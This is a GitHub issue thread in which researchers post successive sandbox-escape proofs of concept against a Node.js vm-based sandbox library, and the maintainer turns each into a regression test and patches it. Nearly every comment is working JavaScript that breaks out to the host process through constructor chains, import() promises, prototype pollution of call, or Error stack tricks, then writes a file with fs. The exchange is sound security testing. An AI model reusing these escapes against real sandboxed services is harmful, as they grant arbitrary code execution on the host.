wanjo-tech / vm2

replacement to the vm2 lib
8 stars 0 forks source link

escape camp #2

Closed j4k0xb closed 4 months ago

j4k0xb commented 5 months ago
process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};
void (async () => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
mgttt commented 5 months ago

v20 runtime change a little, need add --experimental-vm-modules , and I did find a notes from official (https://nodejs.org/api/vm.html)

vm2>node --version
v20.12.0

vm2>node --experimental-vm-modules test /case=r4
{ case: 'r4' }
r4 ex= Object <[Object: null prototype] {}> {
  message: 'EvilImport',
  js: '\n' +
    "import('').catch(_=>_).constructor.__proto__ = {\n" +
    '        set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned_r4", "");}\n' +
    '}\n'
}
r4 check= object function

For me the importModuleDynamically is not called. I do not know why, but it isn't. That's node for you. I use v20.12.0

XmiliaH commented 5 months ago

So, your sandbox is only secure if one uses an experimental feature with a special command line?

mgttt commented 5 months ago

let me find a solution for this. wait

So, your sandbox is only secure if one uses an experimental feature with a special command line?

XmiliaH commented 5 months ago

But here is a attack with the experimental feature activated:

const i = import('');
try { i.then() } catch (e) {}
i.constructor.constructor("return process")().mainModule.require("fs").writeFileSync("pwned", "")
mgttt commented 5 months ago

should both solved, case r4 and r5. all test cases passed still. no pwneds but I'll make a test-script clean up tomorrow to confirm all these.

But here is a attack with the experimental feature activated:

const i = import('');
try { i.then() } catch (e) {}
i.constructor.constructor("return process")().mainModule.require("fs").writeFileSync("pwned", "")
mgttt commented 5 months ago

@XmiliaH Now all test cases passed and no pwn* out.

eager to see your new cases ;)

# test single case, 
node test /case=r4
node test /case=r5

# full test
node test
XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
mgttt commented 5 months ago

ok, let me investigate more and answer you

const Function = (_=>_).constructor;
constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
XmiliaH commented 5 months ago

Did you run with --experimental-vm-modules?

mgttt commented 5 months ago

Did you run with --experimental-vm-modules?

no, just pure raw node

XmiliaH commented 5 months ago

But it works either way for me

mgttt commented 5 months ago

But it works either way for me

maybe git pull to use the updated source and run "node test" for full test?

D:\dev\vm2>node test /case=r6
{ case: 'r6' }
 ex= {
  message: 'A dynamic import callback was invoked without --experimental-vm-modules',
  js: '\n' +
    'const Function = (_=>_).constructor;\n' +
    `constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned_', ''))"]));\n` +
    "import('fs').catch();\n"
}
 check= object function
-------------- test pwn* ---------------
No files found matching the pattern./pwn*/
XmiliaH commented 5 months ago

Yes, if you have local changes no wonder that it might not work...

XmiliaH commented 5 months ago
delete constructor;
const Function = (async _=>_).constructor;
constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
mgttt commented 5 months ago

added test case r7

>node test /case=r7
{ case: 'r7' }
r7 ex= {
  message: "Cannot set properties of undefined (setting 'call')",
  js: '\n' +
    'delete constructor;\n' +
    'const Function = (async _=>_).constructor;\n' +
    `constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned_r7', ''))"]));\n` +
    "import('fs').catch();\n"
}
r7 check= object function
-------------- test pwn* ---------------
No files found matching the pattern./pwn*/
delete constructor;
const Function = (async _=>_).constructor;
constructor.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
toString.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
mgttt commented 5 months ago

Love this one! I will find the general solution for this alike tomorrow


const Function = (_=>_).constructor;

toString.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));

import('fs').catch();
mgttt commented 5 months ago

it is done, test case r8

const Function = (_=>_).constructor;
toString.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
XmiliaH commented 5 months ago

I do not think this is the general solution.

const Function = (_=>_).constructor;
valueOf.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
mgttt commented 5 months ago

done now, all the hidden methods in constructor should be removed now

added test case r10, and all cases passed.

I do not think this is the general solution.

const Function = (_=>_).constructor;
valueOf.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
XmiliaH commented 5 months ago
const Function = (_=>_).constructor;
setTimeout.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
mgttt commented 5 months ago

oh, thanks pointing out the things from ctx is vulnerable.

added tmp solution, will improve codes to protect ctx later.

test case r11 and r12.

const Function = (_=>_).constructor;
setTimeout.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('fs').catch();
XmiliaH commented 5 months ago
const t = setTimeout(_=>t.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""), 1000);
mgttt commented 5 months ago

haha, I just thought it when I walked out. Will make it done when I back to desk


const t = setTimeout(_=>t.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""), 1000);
mgttt commented 5 months ago

done! remove setTimeout from host scope and added Promise.delay() in sandbox scope

all test no pwned.

const t = setTimeout(_=>t.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""), 1000);
mgttt commented 5 months ago

Seems that all the cases currently listed are related to the objects introduced by host scope.

If this is the only reason (even the prototype pollution) then I still think it is possible to fix all.

What I really concern is, are there any cases came from the node:vm internal?

XmiliaH commented 5 months ago

There are multipe ways to get host object. One way is import('') which gives a host promise, you can get a host RangeError with recursion, an host array with Error.prepareStackTrace and other ways.

mgttt commented 5 months ago

I see. Thanks, I am not a good at finding errors but kinda fixing case by case.

hope to see more cracking cases then. Have a nice day

There are multipe ways to get host object. One way is import('') which gives a host promise, you can get a host RangeError with recursion, an host array with Error.prepareStackTrace and other ways.

XmiliaH commented 5 months ago
Promise.delay(1000).then(_=>import('').constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""))
mgttt commented 5 months ago

the delay()/setTimeout() take me time more than I expected, so I mark it “TODO" and investigate them later.

currently the jevalx.js rollback to RC3 version that still passed all test case...

Promise.delay(1000).then(_=>import('').constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""))
XmiliaH commented 5 months ago
const i = import('');
i.catch.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
mgttt commented 5 months ago

nich hack! and test case r16 and fixed

const i = import('');
i.catch.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
XmiliaH commented 5 months ago
const i = import('');
i.finally.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
mgttt commented 5 months ago

done, with r17, r18

is the host object from import() all clear now?

const i = import('');
i.finally.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
XmiliaH commented 5 months ago
const i = import('');
i.constructor.race.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
mgttt commented 5 months ago

done already

const i = import('');
i.constructor.race.__proto__.call = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
i.catch();
mgttt commented 5 months ago

updated a speed-boost version, hope no new bugs... please pull to the latest....

XmiliaH commented 5 months ago
Promise.resolve = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Promise.delay(1);
mgttt commented 5 months ago

thanks. quick fixed with r21.

Promise.resolve = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Promise.delay(1);
XmiliaH commented 5 months ago
console.log.prototype.__proto__.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")
mgttt commented 5 months ago

done, r22

console.log.prototype.__proto__.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")
mgttt commented 5 months ago

I go rest.

tomorrow I am going to wrap the context object and method with X ...

XmiliaH commented 5 months ago
try {
    (function stack() {
        new Error().stack;
        stack();
    })();
} catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
mgttt commented 5 months ago

added r22, but both full test or single test no pwd files out, but 'process not defined'

do you have output pwdn locally?

try {
    (function stack() {
        new Error().stack;
        stack();
    })();
} catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
XmiliaH commented 5 months ago
try {
    (function stack() {
        s = new EvalError().stack;
        stack();
    })();
} catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
mgttt commented 5 months ago

done. r23: null RangError.prototype.constructor in the host scope;

try {
    (function stack() {
        s = new EvalError().stack;
        stack();
    })();
} catch (e) { e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
XmiliaH commented 5 months ago
let r=_=>_;
this.Error={get prepareStackTrace(){const l=r;r=1;return l;}};
try{
    try{(1)[1]}catch(e){e.stack}
}catch(e){e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
false
mgttt commented 5 months ago

added test case r24, but no pwned

do you mind test locally like below ?

r24

m2>node test /case=r24
commmand line: { case: 'r24' }
-------------- test case r24 ---------------
r24 result(raw)= false
r24 check= object function [Function: Promise]
-------------- test pwn* after sleep ---------------
No files found matching the pattern./pwn*/
command line: { case: 'r24' }
let r=_=>_;
this.Error={get prepareStackTrace(){const l=r;r=1;return l;}};
try{
    try{(1)[1]}catch(e){e.stack}
}catch(e){e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
false
XmiliaH commented 5 months ago

I think I messed the last on up should be

let r=_=>_;
this.Error={get prepareStackTrace(){const l=r;r=1;return l;}};
try{
    try{null[1]}catch(e){e.stack}
}catch(e){console.log(e);e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
false
mgttt commented 5 months ago

Unsertstood. now ok done. TypeError is locked at Host

I think I messed the last on up should be

let r=_=>_;
this.Error={get prepareStackTrace(){const l=r;r=1;return l;}};
try{
    try{null[1]}catch(e){e.stack}
}catch(e){console.log(e);e.constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""); }
false